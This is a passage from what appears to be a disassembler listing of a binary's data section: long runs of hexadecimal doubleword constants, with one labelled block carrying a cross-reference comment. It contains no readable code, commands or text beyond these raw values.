0FC3DC6C3h dd 294E9137h, 1FA2A47Eh, 5E4F5071h, 0D83E65F1h, 0F2414ED6h dd 0BF6BA30h, 77162D9Bh, 5E05669Bh, 0CA63343Fh, 0A81C81EFh dd 5F330280h, 575D75EEh, 84688201h, 0B299D54Eh, 2AD235D7h dd 87E469B8h, 53D4490Bh, 0E9710C7Bh, 7361437Eh, 0BF1A16F5h dd 9C0F5978h, 4BC0443Dh, 0F66716F3h, 0F73198D8h, 81AB5F3Eh dd 0BE687123h, 190BA8C8h, 2831E73Ah, 0B509CA32h, 864A7B1Bh dd 5463C53h, 0C44468BEh, 5C83EB36h, 80BB8C47h, 0AC9CEFD6h dd 0E984F307h, 0B0E2BDEh, 58C7D65Dh, 4EE23165h, 380524B8h dd 876FFC7Ch, 14AB3284h, 4B7FD130h, 501AB6F8h, 2257428h dd 0BC4C04EEh, 0E546491Dh, 246994D5h, 6FA425DDh, 0ECE00D09h dd 9DBDE389h, 15712F42h dd 80C3B181h, 0CBC1CCEBh, 0DF5BBFD7h, 5320E516h, 0C858646Fh dd 5F5DACE3h, 0BFA5D2A9h, 18D779D1h, 8543740Dh, 0EFDFF261h dd 33C9777Ch, 18421970h, 1813737Dh, 5013A5Bh, 0E9F88985h dd 932E1DD5h, 0CB92E129h, 0F227EB7Dh, 548BA9BAh, 24CC2782h dd 0DCAF600h, 0D6E9BCA9h, 0E517C1FCh, 80801493h, 174DCD2Eh dd 49E96DC0h, 0B24FFDD8h, 0E589C44Eh, 60A25391h, 29C16A54h dd 39805DF1h, 0FDF272C3h, 4790558Dh, 242A1909h, 4224F53Ch dd 0DE99AEEEh, 974B7E0h, 6DE962F9h, 560B9278h, 167DCA68h dd 27F89400h, 775A09F4h, 233F004h, 0D53CD2E9h, 544C936Eh dd 1AD417E1h, 0E9B08DF9h, 3BE1AB2Bh, 2484023Dh, 4730768h dd 0DAE18CE9h, 3D4D2030h, 3815FE28h, 0C11295E4h, 0C307E801h dd 0D75A7F2Bh, 5A6256BBh, 0A6E7086h, 97F7EFB7h, 0BB85B12Bh dd 58ADAFDAh, 8F6AB4B5h, 3E6BEE09h, 0C333ED29h, 485760D9h dd 2BB881B2h, 0DB5E6924h, 580DE600h, 18464CB8h, 28A3FEE9h dd 0C8EED031h, 0DB27ED94h, 2F0C9066h, 98486659h, 4C5D1D48h dd 0A3E9C941h, 0E3076552h, 60165AC3h, 0D99D40B2h, 68E64978h dd 46544DC9h, 6857020Dh, 1E994546h, 3EEB3A41h, 167AD089h dd 0E57302B5h, 74C1D169h, 0BFA9F666h, 0F5256476h, 22DB609Ah dd 14A87608h, 6412E129h, 0EC96D00Eh, 0D87D3F85h, 0D327DA7Dh dd 0D1AFCB06h, 34600B16h, 7E2801F1h, 0FBE93609h, 27E2331Fh dd 3B679C54h, 35CBE7E9h, 0CAC5FE07h, 481CCBAAh, 98155887h dd 0F06855C0h, 4C8D0013h, 0EC1EB95Dh, 8103B372h, 567F12E9h dd 0C1B4A911h, 43314324h, 2A4C47h, 101C0A45h, 5BAEE955h dd 0E4CB8DB1h, 93BDA619h, 0C7CBC154h, 74F1AB04h, 5B8168FDh dd 35077A66h, 4F8CB58h, 409D2010h, 0C72CA7DFh, 55E828DEh dd 8A6C666Eh, 2785B238h, 0F316D5D0h, 221E1C25h, 7AA5D7A1h dd 0EFEE0516h, 0E1BA82FBh, 8FD20628h, 746F842Ah, 606FE697h dd 2D51034h, 23982A38h, 0A6FF677h, 2EF2EF0Eh, 0E8E42BE9h dd 0B0067D5Fh, 79ED81CAh, 18050D80h, 15D3E02h, 72DC828h dd 0C4200898h, 4BDCA09Eh, 5CD2205Ah, 5F57C007h, 1CCD0110h dd 8B1C0806h, 726FF014h, 1002584Ah, 17E28C84h, 5F6F9889h dd 0FD528816h, 7D55E2Fh, 24DE8956h, 22F982F1h, 0AA52D00h dd 1170A9Ah, 3E0705F8h, 0F56D0570h, 21088B72h, 0C2657DF7h dd 0AAE394F6h, 0B91600B3h, 7C1640B7h, 60BE1C1h, 30344C68h dd 0B0CA6FCh, 98E93ABDh, 539DAD76h, 81C5CCD7h, 4A039FAAh dd 3ED453ECh, 294EBE20h, 55CA9A0Dh, 7F8DD740h, 83E48C8h dd 0AD5CEA20h, 719D711Ah, 0EAD9699Ch, 4168A2CFh, 6E3A7453h dd 0D211C716h, 0D3741730h, 26A59F9h, 9F569947h, 0A44B9BC0h dd 1E620B96h, 0ACB4F9F5h, 0DDD7C361h, 29D26D05h, 0E0832E36h dd 0CD6526B5h, 8833C951h, 55E9130Bh, 5C6B9959h, 85103472h dd 4BD2D42Ch, 203AE5B1h, 161C0573h, 7039B227h, 293F2D30h dd 1D7CF368h, 0A6804824h, 0B20FC902h, 80F07D14h, 74820882h dd 0B14CC1DAh, 41067309h, 0E2CC0008h, 3B037E0Ch, 9D74C13Dh dd 3303B04Ch, 3108CE78h, 0D14A18CAh, 13F67FAEh, 5F4A707Ch dd 4C03E14h, 526616E7h, 8000CFBh, 0DD4A5432h, 0D24AE2A6h dd 4FCA0B60h, 755F38C0h, 0E29844F0h, 0FE0477B2h, 0C0E386C4h dd 0FFFE06FAh, 0C5387B16h, 12ED0E69h, 0D03ADE29h, 90A39508h dd 0B827FECCh, 45925884h, 789A755Eh, 0E9A2987Dh, 0BA69229h dd 6E4E685Ch, 80C0B3D5h, 219CF14h, 2922CB81h, 0AA82477Ch dd 86C5012Ah, 0D1B6D727h, 82097DD3h, 5406AB44h, 89C3160Eh dd 0F3D2DAE7h, 758EE927h, 3908C018h, 0D13F8276h, 709F92E8h dd 724405Eh, 0D22D6302h, 92065E46h, 0C7CCD0A1h, 14C4A32h dd 28F73CCDh, 0CC708EFh, 3DE11847h, 126EB6E9h, 0CA8ABB64h dd 7921EF97h, 1ECC42C7h, 1C860530h, 2774DF68h, 423BED5Bh dd 5900E5B9h, 9FC33166h, 66981F50h, 0AEE5452h, 0B42B5FDEh dd 41EEFD14h, 0DDC1ED08h, 21C94402h, 7FDD01DDh, 987B11B1h dd 4A4B7995h, 69ABB6D0h, 0FC495E4Dh, 0A5F85A16h, 7F53BE4Eh dd 0CF3038BCh, 0D988F37Fh, 0D41C8D2Dh, 844A3C63h, 0BFDC13B0h dd 843F597Dh, 3824008Ch, 53F86FEDh, 4FFB809Fh, 0BD1BB02Ah dd 4B1236F8h, 0CBEB012Eh, 58C70B75h, 0C2E77C5Eh, 0C0BE8AAh dd 68BE13B6h, 288E326h, 4E9E03D9h, 3C5B2AC1h, 0C181003Dh dd 5C07B955h, 72E32FE9h, 6B5AA791h, 5051E482h, 0FD672FDAh dd 1CA1CA52h, 92F5105Eh, 0A7650989h, 166EF29h, 7CFD574Fh dd 5940E983h, 6AEB3727h, 20E1F5E8h, 1F416FFDh, 164223EFh dd 2CFDB16Ah, 0E9C34B4Dh, 312A105Bh, 0DBF602E8h, 0DF1DEB80h dd 2556242h, 0E19EEDEFh, 213B594Ch, 7F568A28h, 191625E2h dd 0AC41EEE3h, 99C0503h, 6E4B0C82h, 0C17D4225h, 7164826Dh dd 3B6403BDh, 0E5C16A1Eh, 5528C412h, 9806FC8Ch, 0FC32582Ah dd 0B07E215Bh, 0D9759774h, 16714EBCh, 0B02C8606h, 4A9531E4h dd 2D82F7E1h, 32F9837Fh, 10C91A6h, 4AE925C5h, 0C0620039h dd 0B05005E5h, 88EEFD66h, 0BAD24F06h, 6775C1Dh, 7092E9B2h dd 0CB80244h, 96A2911h, 88A8EF7Ch, 2DF6D853h, 0C915E85Fh dd 16BF926Ah, 62427D68h, 0A4A6A13Ch, 50DD429h, 0D2600126h dd 7039A61h, 51C7DA59h, 1B65AF8Dh, 0C822D5A7h, 8902DD3Fh dd 7B8EFDFEh, 9B57A0B6h, 39F7C840h, 0E25E87D5h, 34579285h dd 0BA9316FAh, 2184932Dh, 0ACE4E95Ah, 457450A3h, 0F345DC61h dd 293E5D53h, 9434418Bh, 53F304A4h, 31A3A04Eh, 0F16FCE72h dd 1E98308h, 0B280CC87h, 5F9F6143h, 672C16Fh, 5CE0782h dd 54FA4509h, 0E25F31C2h, 252ED437h, 4D746AFh, 74C0623Bh dd 71B3FA29h, 0AF01802Eh, 18C5279h, 20E9CBDEh, 78BDCA73h dd 90EB9D8Bh, 2F045CD0h, 89E9290Bh, 0FDDB9EFFh, 0B70105E0h dd 4EBFBB4Eh, 0A5E5B7A9h, 0C6CCE609h, 2C3294AFh, 0BD30CCB5h dd 313C660Eh, 0F710D201h, 8F814F08h, 306A3324h, 0AE2D5E6Bh dd 554D350Ch, 92DCA1F7h, 0FE5B12B4h, 847809CDh, 13A9FF0Fh dd 0BF0E8678h, 372B38BAh, 4F330FEAh, 1CE287C9h, 0F82964D7h dd 475582DCh, 0E0C12280h, 80DFC908h, 0DDF6212Bh, 0CDB65204h dd 0A4BBC1FEh, 0F6C93088h, 0BD10DF6Fh, 0D6E9D842h, 0EE98498Eh dd 0CF381FDDh, 26478024h, 7CD242C0h, 95736E57h, 8B80B8ECh dd 0E89519F4h, 0FE244C2h, 0D9316BA5h, 0C6061A9h, 509745B1h dd 0C8280F6Fh, 1EC45259h, 2E9FA7D9h, 44107755h, 20596607h dd 30B88EE1h, 68805E09h, 0B6484FB0h, 0EBEC20C2h, 4C6EDBF9h dd 0EB36D33Ah, 0EF678360h, 7B021F65h, 0CBCE7CA3h, 2D75828h dd 0A109B845h, 9A2CD8DBh, 1266F1C8h, 0B82BFB68h, 87A94AC7h dd 86DEFBF4h, 89B1511Fh, 8FFCE88h, 7128C4DBh, 0C058C603h dd 0F6FE07EEh, 5C8624E8h, 2FE90997h, 10091ABh, 5D7348ADh dd 0D6F74E00h, 0C0B95155h, 7E2B0467h, 0AC3C7BE9h, 0F5C0E48Dh dd 603E214Dh, 1A1D0C7Ah, 10A7169h, 8BF57FEh, 93CD7427h dd 4609A8B3h, 6EC20422h, 80FF280Ch, 45576820h, 0EE956CBEh dd 6E1612CBh, 80104BA3h, 0C72774E2h, 13DB79FDh, 41EA8213h dd 5AAF0C0h, 297A4912h, 68480C01h, 8C2A5496h, 0DB6EBB1h dd 11ECF681h, 0B371D34Dh, 0E94D422Ah, 4754ACD1h, 0DE7DEA5Bh dd 0AF5D1647h, 7DC33238h, 17280B4Fh, 55E23EE9h, 0F3374055h dd 40320543h, 0B85AD509h dd 8FC50259h, 0E1734160h, 13F7BF81h, 3777CDFBh, 4DA78F3Dh dd 575FC120h, 45FB7159h, 485FAE7h, 0FE11D2B6h, 801E7F4Bh dd 7C3B9F06h, 0E10C6D0Fh, 64F1831Dh, 8944E978h, 0C413602Ch dd 5880320Ah, 812433F6h, 524EE958h, 0E096E7EFh, 0FC22C69h dd 0AB4BF968h, 890D451Ah, 36564693h, 33EEB63h, 7E74CD57h dd 0EDB04E0Ch, 0D2325EC1h, 510327Dh, 5516BF58h, 3C3BCFA4h dd 98794C2Eh, 59078115h, 0E5A6E03Eh, 9B601B41h, 78EACB9Ch dd 61EF1BC8h, 8030E825h, 0BE02F667h, 2AF8BF28h, 0BD12DBB5h dd 3963C69Bh, 0DF19960Bh, 7AC3E236h, 13F607A0h, 0C5413188h dd 0DE57B138h, 6BEAEFC9h, 0F6D87849h, 282501C4h, 611D5667h dd 6802EA23h, 572DE26Ch, 0F2A09FF1h, 2FE90338h, 0D2D3331Bh dd 37FC56A0h, 123724DAh, 957902AAh, 0F600E320h, 3ACB80D3h dd 0BFA6E96Fh, 6475E9FAh, 0ABE918C7h, 0C4B9203Bh, 0CC082Ch dd 9CAFCE12h, 0B199596Bh, 10F6441h, 4992C481h, 0D259629Ch dd 0AABBA2B0h, 6A013901h, 5034E943h, 4F501729h, 4C1B1833h dd 14B20C6Fh, 0BF181F20h, 447F7EA9h, 3A096149h, 0E0505697h dd 44B5F995h, 48DBB710h, 925EEA6h, 7685F584h, 0E0D9FB42h dd 13F4E66Fh, 0D8C8CD0Fh, 0DAC76589h, 0A36AD06Bh, 484F5649h dd 0A8C29AC9h, 5D17F198h, 5A92C72Ch, 9A76F8F7h, 6036F908h dd 1E2A0580h, 0FDFF8CC3h, 58C1B511h, 0AF510104h, 0B62BD586h dd 569F1227h, 0BC4B73B9h, 0B15A0C67h, 12670C6Ch, 4450272h dd 857C884Bh, 4F7AAC0Eh, 152472FCh, 5BAFBDBFh, 369516DAh dd 0B4F19F8Ah, 3BBA210Dh, 549AD06Bh, 7558B231h, 0AB20055Ch dd 2F819B2Fh, 0FD93335h, 18C0EEF0h, 0C597C75h, 0A61F0829h dd 492EC16Dh, 5B7A2D0Bh, 2097BDF7h, 0AE24BAF8h, 3730F30Fh dd 0EAE580ACh, 0EDA0281h, 5D246133h, 7E3439Eh, 11A4B7FBh dd 69E84B83h, 0C158F704h, 0EBF0AA45h, 31EE40E3h, 435C34Ah dd 23E3982h, 9869285Bh, 51A538F8h, 1D8D565h, 76EC9A68h dd 0ECBE21h, 72ED964h, 12C35956h, 88533CC1h, 0F5CD0149h dd 4CFC2Bh, 9B6E7FF5h, 2FE83102h, 0F95B2C8Bh, 0C1C14069h dd 5FC42875h, 0C1E98F1h, 0D1F72CFDh, 130EC766h, 0A9E95E25h dd 98167549h, 0E954DCC1h, 236D324Dh, 6255F516h, 0DF88B91h dd 464ABCFAh, 583E5E8Ah, 0CC15A292h, 6F404B97h, 0BD550451h dd 0BB39432Ch, 0E945A2D0h, 7E639D5Eh, 6825B2B8h, 0F35E937Ah dd 0F5E35413h, 92D0257Bh, 0DF52F3DEh, 0D69FAD48h, 0CD26880h dd 5D498219h, 373D9840h, 25CCCC0Ah, 79B25FD7h, 529DFEh dd 5719729Fh, 63E9803Ah, 0C0A2A45Eh, 0B8FE8912h, 0FBACD7C6h dd 0ECBE724Ah, 95F9E910h, 0D6B83400h, 460B2A42h, 0A158C521h dd 69ADE9F4h, 0E139C004h, 777B6E49h, 5B80C0FCh, 7452785Ah dd 8EFB9D4Ch, 0FCB770A5h, 0CCB24A9Ah, 86A81964h, 98FEDD89h dd 0D8144248h, 0D77AEE0h, 0AABA3EB3h, 5E5A680Bh, 296AAAA1h dd 0F7808DD4h, 0AE51A78Dh, 0D78123BBh, 12D150A1h, 7F783931h dd 2EFD094Dh, 0ED094A30h, 3C3AFF0Ah, 85E1475Dh, 91D4A8E9h dd 3032FF5Ah, 0CEC1D5FDh, 5F5B5753h, 97DC5630h, 44C4645Ch dd 0F054CB0h, 51EC2436h, 0BD061745h, 64B3075Dh, 0F987197Fh dd 7508D48Fh, 5AE7412Fh, 4740164Eh, 0CBE30B9Fh, 0E5D5DF62h dd 9BFA494h, 985D1380h, 97D1589Bh, 7E9DC61Ch, 87B42772h dd 47E9120h, 1C78CEB8h, 1B87ABABh, 52D2D2D4h, 80F94550h dd 0EA8069B2h, 0C209FED3h, 0DD39B551h, 0B753A421h, 8AC7FC93h dd 0E9FD281Fh, 297500A7h, 0F2082454h, 27E9BE65h, 5E1794F5h dd 504CF45Ch, 32D8B805h, 910E3C26h, 26B0B9Ah, 68C32A20h dd 0AA0F8172h, 40F48E4Ch, 87504720h, 48835CFDh, 1D16B358h dd 9376FD01h, 2CA9CCAFh, 512F3096h, 0BE5DE447h, 834E2F14h dd 1058A168h, 4B2F651Dh, 9D55A6B0h, 56CB3D5Ch, 25EBCEACh dd 1F6D3F74h, 0F12A7CF1h, 0BDB66A63h, 0C2168694h, 0EE0B41DFh dd 78F2295Dh, 1D5A01EAh, 0C0E91FD1h, 3C80BC74h, 6E1238C3h dd 1041B63Eh, 0BE00A87Eh, 35DD19B5h, 5E18F131h, 0E9B5CB89h dd 35A29FC3h, 0B6ECE829h, 2AEE5D4Eh, 10CF4C18h, 0BB03218Dh dd 3FA476F4h, 0C5901CD2h, 0FA190FEBh, 94D65F6Ah, 0C553A592h dd 0C61CBFD0h, 192CF00Fh, 0CE7F5A7Bh, 0B8E912D5h, 0E001994Bh dd 17619935h, 0EB584943h, 0CA882675h, 5BF2F68h, 55A7B4E5h dd 0AC588A25h, 0B652C033h, 25C680F5h, 6B0151FFh, 2E58881h dd 17937C08h, 6533EBCFh, 5ECDCA57h, 0ACC2808Ah, 213576CFh dd 0F55AD624h, 0C18B5624h, 0F2BE00EAh, 197A842Dh, 22D73164h dd 15E02FA7h, 0CD875459h, 11C2D09h, 0B80D162Bh, 94E93E0Bh dd 0DB7E7089h, 0B0C55524h, 5E4FD3FCh, 9F564B67h, 0E3003112h dd 308C0C73h, 0F987DA4h, 0AE28A63Bh, 0A21A556Dh, 760BDD0Dh dd 2F917669h, 0B0EFA4D0h, 60C82E51h, 779502C3h, 21DC5056h dd 4808C214h, 12392FE4h, 0BC1D8DCh, 75484780h, 939F1358h dd 790E024Dh, 165DF41h, 0BF1C6448h, 76A74FB6h, 6882034Eh dd 0D7F1799Fh, 10E45D6h, 482CE209h, 1E4F7C39h, 24E710E9h dd 0F5C253A8h, 5246A566h, 0B6CAEF00h, 50E6307Ch, 0E7CCFC58h dd 2FE9BB20h, 0EA98AF08h, 553E6DC8h, 0E693952Ch, 0DD89C9BBh dd 95E5CCh, 4756FE76h, 15F49F57h, 0F7270A48h, 0EF5915A4h dd 579E1AE2h, 21850951h, 35F4DC46h, 0F715DD02h, 5C61E9DBh dd 0EEE028F1h, 2C5F69E1h, 0C476087Fh, 98A181Dh, 0F103D203h dd 17F8E53h, 0E02C5C18h, 7FA3E913h, 21B87D17h, 3258C3C0h dd 0FA9D73CFh, 0F4088236h, 0A70E1B75h, 0FFF25DE2h, 7637EE20h dd 0A851F629h, 391A9FE7h, 277B745Eh, 3A68736Bh, 5C014F09h dd 0C0BF571Eh, 7FDAE361h, 0A3A08882h, 411E1A7Dh, 0A383806Eh dd 37F94D6Fh, 6FF6D6D1h, 9F71DFA3h, 0A277AC0Bh, 6ACE25DFh dd 5821F7E5h, 2B01211Ah, 0F85445D8h, 98DFB494h, 0F78472EDh dd 32419990h, 0C9D0FFDBh, 9F421A1h, 1D306809h, 0E37C5A46h dd 70616BA0h, 0B72EDF28h, 3194E109h, 2426F29Ah, 25410958h dd 0EFBF1678h, 2BE98579h, 1F92E4BFh, 0C238C84Ch, 0D1338468h dd 0C22D9651h, 14FE056Fh, 1ED4DFBAh, 0E88BFFF9h, 4D579F00h dd 6BBD4302h, 0C47FF2C4h, 0B884C77Ch, 51DE52Ah, 0D86C85F7h dd 0BD12FEh, 35E0D12Ch, 0ABFF16C2h, 6714BFFDh, 46C55B95h dd 7B058BABh, 183F2625h, 0AC47D5DEh, 58A920A6h, 84635D58h dd 0FB13A656h dword_4F0044 dd 3D8CD741h, 3BF4728Eh, 6D939579h, 10F0D604h, 12C01115h ; DATA XREF: ___:004385B4o dd 4C3D0C2Bh, 70134150h, 9E99F0FAh, 1B53E1Eh, 0F08F9D8Ah dd 0B906D896h, 0F069200Bh, 68560255h, 0A947C1Dh, 0D22C083h dd 0EC2DAEECh, 9FBA8460h, 0AD01565Ah, 345BF808h, 0B174287Dh dd 0B45BB2B7h, 5253E3BAh, 20409E16h, 0F0EEDD64h, 4F551A90h dd 65C90070h, 0E9137ECFh, 0DEF9C732h, 636853C1h, 0A6A75867h dd 0DFDBAF4Fh, 0E109E52h, 26680943h, 0C0369A5Dh, 4798CCDh dd 47E96367h, 20B18919h, 0EA4BCC82h, 0EAB520A8h, 1E3334D9h dd 0E2E97561h, 4842DDBh, 33E5FECh, 52AB3CEAh, 155E6804h dd 2C806174h, 0E5BFFDF2h, 404CB960h, 1C904E84h, 0B5557760h dd 2C5801Ch, 59EB281Eh, 0D241C3FEh, 1F417DDAh, 0FA68562Ch dd 9EB25A59h, 4DB16F0Ah, 882B7602h, 8822F558h, 0C14CB445h dd 9A3E662Fh, 0E97924A0h, 17B7E4AEh, 0CEF8E35Eh, 9FD04E4h dd 23BE00CBh, 0D3554h, 7F05CE81h, 0AFE9259Ah, 52A4C54Fh dd 10C25BEh, 0D3F22812h, 0CF5D51B7h, 1E941FA0h, 27FE3C1h dd 7213BDE6h, 411E36B0h, 440296E9h, 0E2ABF580h, 0BF7DF0E3h dd 4104D20Fh, 84E7D4F6h, 0F4D380F2h, 164F6F5Ah, 0AD966081h dd 6BF70500h, 0D8C0D4A2h, 647F5E51h, 4691C928h, 0C1F0250Bh dd 0F78AD5E4h, 2E780681h, 38390D5Ah, 3352064h, 3D422359h dd 0E5FDF3E9h, 5AE62027h, 682E534Ch, 43250850h, 882EF8Fh dd 429B5A2Ch, 5FFD1847h, 276EF3B8h, 505E3D20h, 0B9681000h dd 4FA5E917h, 17752901h, 0E98908E7h, 933A4CEh, 3036E5FAh dd 664E29CBh, 0DD8427A6h, 3335BF74h, 760A9CAAh, 0C7811C9Ch dd 4C996DEDh, 186FCFD8h, 182E154Bh, 0C8050485h, 5983E9D0h dd 5FFEEB91h, 0B1D9073Eh, 45550917h, 2F2D28B2h, 273ADAA3h dd 0E2A6F807h, 247529C3h, 16BEC9A0h, 0B039FB6Eh, 69627D20h dd 465FE9A4h, 0F7DA9F73h, 11C6C243h, 215C1661h, 3D899E8Ch dd 9834A2D0h, 0C960C64Ch, 645078B2h, 1956CDFCh, 181674C6h dd 34AA2660h, 9F901C71h, 4EA7283Ch, 0ED47D062h, 681FA1E2h dd 0A925314Ch, 0A2284E65h, 59BDA4FDh, 11AA80EFh, 89EEE848h dd 0EA16809Fh, 14D2128Ch, 95DA0162h, 5509BE2Dh, 542F28C5h dd 0A2447A38h, 0A4B53DB0h, 52AAEA55h, 6C49BF2Bh, 0A63A54C2h dd 0EDBA09B6h, 9E34475h, 5C3F51A5h, 43E1E100h, 2971962h dd 0D7129C7Ah, 0FC340410h, 748F2748h, 5D4E0309h, 0C18C5743h dd 6517183Ah, 0A3AC637Bh, 53B33202h, 9BA52CE9h, 48A7015Eh dd 4010276Fh, 0A01CA487h, 25B13BF5h, 1D387ACCh, 2672875Fh dd 512E0BB7h, 0B6B66B73h, 0C4345AECh, 0BBB913FDh, 0C218A5DDh dd 9CF95F23h, 0E190925Ch, 9E301F41h, 41685A50h, 4A46C29Ah dd 34DFEC18h, 0A2AC55D3h, 4F6AC104h, 3020E60Dh, 48B7CC55h dd 0FD424B72h, 3F4184Ch, 9F5815Fh, 3EC62BB2h, 0B339F40h dd 9DC80140h, 622285ECh, 81B1201Ah, 75589A80h, 0FD711525h dd 34088188h, 0C05BC0F8h, 0E9164531h, 98E3E7B0h, 6078B9Fh dd 52DFF21h, 63917F3Bh, 29E860AEh, 0CF5FFAF8h, 5CDC80Ah dd 2C0CD319h, 3EA1FCE9h, 0E019B5Ah, 2C36C8Ah, 85B7C88h dd 0CF3B3BB1h, 2C022216h, 0A55752E9h, 8B444AF1h, 0C5098B13h dd 0A4131401h, 6F686DA4h, 0A7C9E713h, 0BB04A978h, 63396049h dd 0CB85B0EBh, 5E1BAD0Bh, 0ABD3073Fh, 0E07F7E63h, 3A0661E9h dd 0D092650Ah, 0DD208D32h, 0D62901D1h, 28E78FFDh, 5BE7205Ch dd 0BAF20035h, 64F751E7h, 8061D8B5h, 4C72A4CFh, 0EA17EBC4h dd 0F2C0F5Dh, 31A868E1h, 0F7D76ED3h, 324F4283h, 5EE9E2B9h dd 563E55Dh, 0BFD5F75Dh, 0E961FF87h, 8F48E44Bh, 0EA1612A0h dd 0C1100330h, 43B56E31h, 5D1D68D6h, 67175F14h, 77BF81C8h dd 91EC0C14h, 4122B422h, 8A2E2768h, 0A3D83D31h, 477D9B86h dd 0FDE22F76h, 8125D5FBh, 733C33E9h, 0AA062932h, 0C179151h dd 0ED2A8D0Ah, 23BB813h, 1B84248h, 7BA8E1D8h, 4F02C00h dd 0C8FEFF1Dh, 1C9476AFh, 0F8432F60h, 470EE9A8h, 7D695F94h dd 0D5982F22h, 5E4BBE00h, 81340FC4h, 185252EEh, 1B457E7Dh dd 290B05ECh, 4002E9F3h, 0B8D188F1h, 0EB20628Dh, 5800CAE4h dd 0E759CB28h, 5474E870h, 0A2CEFC7Dh, 4A4DD9Ah, 897DE059h dd 0A51F45B5h, 0E9702F76h, 9ABA5F6Bh, 1A562DD1h, 8C45402Bh dd 627260Ch, 0BCF0230h, 43FD7FE3h, 3871A386h, 0A35FB934h dd 0F8622584h, 0D5FC95B7h, 7EEE0472h, 0D540AB56h, 0F473F0BFh dd 66215C5Eh, 23175848h, 4C32F82Fh, 0E4520C14h, 0E9400C1Bh dd 39201CD5h, 7E1204FDh, 0FC72E90Ah, 7D552734h, 0E9256814h dd 95CC50AEh, 2AC240DCh, 0D4E7DCAh, 0F45FC0F6h, 8CC456A8h dd 0C65EE847h, 6B2B11D4h, 28ED410Ah, 9981ED26h, 0E93FC40Ch dd 1BACC9D1h, 59520B6Eh, 5F65837Eh, 3E02C82h, 0D0C9E6C0h dd 0CCE3EBEEh, 58C63712h, 5EA2FDF4h, 2ADA9D80h, 0AAFC64B5h dd 0A0ECB508h, 0B974EB32h, 0D1905DBCh, 0B62709E7h, 406FA257h dd 197FAA1h, 6C32BE56h, 9CC17430h, 1C28190h, 0D72EDA2Ch dd 7053627h, 0FB001B02h, 21D237B0h, 0FAF2012Ch, 0AC900820h dd 52045E95h, 6524477h, 203F30C6h, 460A5865h, 0A3705B68h dd 7D8DFDC0h, 7B2CC173h, 2E15E736h, 0BAD194C1h, 0C1FB9D2Eh dd 0F98005DEh, 28B19DAh, 1C3BB3Bh, 7F627C89h, 6E509261h dd 0E558B4D8h, 1A53C86Ah, 721C941h, 41F5C830h, 15140FAh dd 254BE8ACh, 2FE24E87h, 9F5155FDh, 6B256860h, 283C4E52h dd 5A12BDABh, 84AFAEB2h, 8EC5FB5Bh, 69C04D12h, 0C6096468h dd 7F25A2D3h, 6E1DF107h, 0ECB34C34h, 0CD170297h, 3E8858E2h dd 0B5D350E0h, 0C860DF82h, 2E1FCE80h, 0D4BE6D0h, 89567173h dd 5CD6CB12h, 44462F4Eh, 0B5BADA31h, 8107EC19h, 3F5D4B3Bh dd 3C68138Eh, 52F3BA01h, 0D5712B3Ah, 18CEC060h, 0C50130Fh dd 0EA2E3F2Eh, 0BD02C64Fh, 0DF25BE2Dh, 6C4B76E3h, 50BD62BFh dd 95C93EFFh, 0D55AD6F9h, 0CCB199EEh, 44C47749h, 7A20E913h dd 0C716FE52h, 0ED809B01h, 0F2AC0BEh, 27703E9Fh, 5827D648h dd 221D9CADh, 6A53E996h, 530EC7BDh, 0ED2EB5B3h, 7B89DD0Bh dd 0C129D5A4h, 0C25FDBF7h, 25E7CDFDh, 537F2A22h, 0C7019F08h dd 3936C08Ah, 8F20EB31h, 20ED0DEBh, 0E31209C3h, 520801ADh dd 7E6CE957h, 622E6516h, 0A3EF745Eh, 0E951C125h, 0CC81CDC2h dd 9C415BBDh, 0BEAA4454h, 680155F3h, 32404B5Eh, 7EFC6A59h dd 0F3D701B2h, 405B125Ch, 69E5BD61h, 33B826E8h, 27A205D0h dd 0FF540992h, 0E989DDE5h, 7F5DC268h, 426E9F30h, 0E36F5C81h dd 0D6005A06h, 5375642Ah, 0BF570258h, 0C9F1A47h, 7CC9F2DCh dd 3BF701EAh, 38679809h, 727A07ABh, 0CFD02677h, 5C9A512Eh dd 4007928h, 681A850Dh, 99C43467h, 46BAF5FEh, 0ECE3C0D8h dd 71A38D25h, 82FC920Ah, 60755F18h, 728E8Ah, 0CA816B57h dd 1A4B7637h, 268ED2BDh, 9E4AD2h, 94214E4h, 70634768h dd 13D79A6Dh, 9CAB50Ah, 8B1C5BE2h, 651F3EC0h, 4C295201h dd 840D9DAh, 3BE92A5Bh, 950DB0C5h, 22BD2E1Eh, 76E067BEh dd 1F684676h, 10CC55B0h, 305A195Bh, 68BFEAC1h, 0B1C663ABh dd 9E3F1D16h, 239517E1h, 7A05D974h, 71AF1B97h, 8CF1C200h dd 0C3611226h, 511A6F1Ah, 57D709EDh, 0D16B2C81h, 6E3F4EBh dd 0E6098790h, 0F6B59C5Fh, 543207FEh, 0E4B96E4h, 3531BB18h dd 58CEEB56h, 0BF4B65FEh dd 7302B740h, 25E91EAFh, 0FD92111Ch, 965580C2h, 16B97DD9h dd 0AF20AD21h, 1EB10414h, 2F164893h, 80647B5h, 4A17821Ch dd 18515D66h, 1DE953C1h, 0A029146Eh, 60C329B1h, 3C1EC7CCh dd 0F3124937h, 0B5D9DE64h, 32AFB83Bh, 5A5ECF19h, 313D0BE1h dd 150446CEh, 0F3B2BAF9h, 2521AA5Ah, 3206C59Ah, 717AB30Fh dd 22D26409h, 0FA56E4h, 2D1C9677h, 36716A3Fh, 951EA990h dd 500A367h, 4DCB657Ch, 2DF82829h, 5E5FB007h, 0EE7FC4C6h dd 2ECB171h, 0F36FE910h, 67147495h, 0BA7D2B8Eh, 58A47C87h dd 45CA0E11h, 0C3026238h, 0F75229A7h, 82AC554Bh, 54097279h dd 25EBAE1Eh, 0A23D9CD7h, 0A50E8414h, 0AC8ABFh, 28536852h dd 0B55A77E9h, 0C11D3481h, 3B2CB76h, 60B52240h, 780A8627h dd 0D56D5FD6h, 6E06EA81h, 5C6B16A6h, 0F3D39C3h, 103BB0Bh dd 0D331B044h, 848CB855h, 136A6800h, 0D0293BBh, 402E8E7Eh dd 43F8212h, 0F52140EDh, 80A7C55Eh, 0A5FD013h, 24E97B0Ch dd 13B95E08h, 43DE2h, 3B69C930h, 0BD9032D1h, 0EB2BFF03h dd 0DD546865h, 345A3421h, 0B0E58F2h, 0C9A92640h, 0D09C877Fh dd 0EC6A68EBh, 50643017h, 466F3F0Ch, 18581560h, 0BAF27C2h dd 0DCE9CB31h, 0CFEAAC90h, 26A6431Eh, 0A23D03CBh, 5532B261h dd 75FA9572h, 7CC06892h, 184579E6h, 1230BD31h, 1284305h dd 0ED21D907h, 0D3524944h, 0BC8EB09h, 0EFBDCBAh, 2CC77170h dd 10E9C201h, 7E251B5Eh, 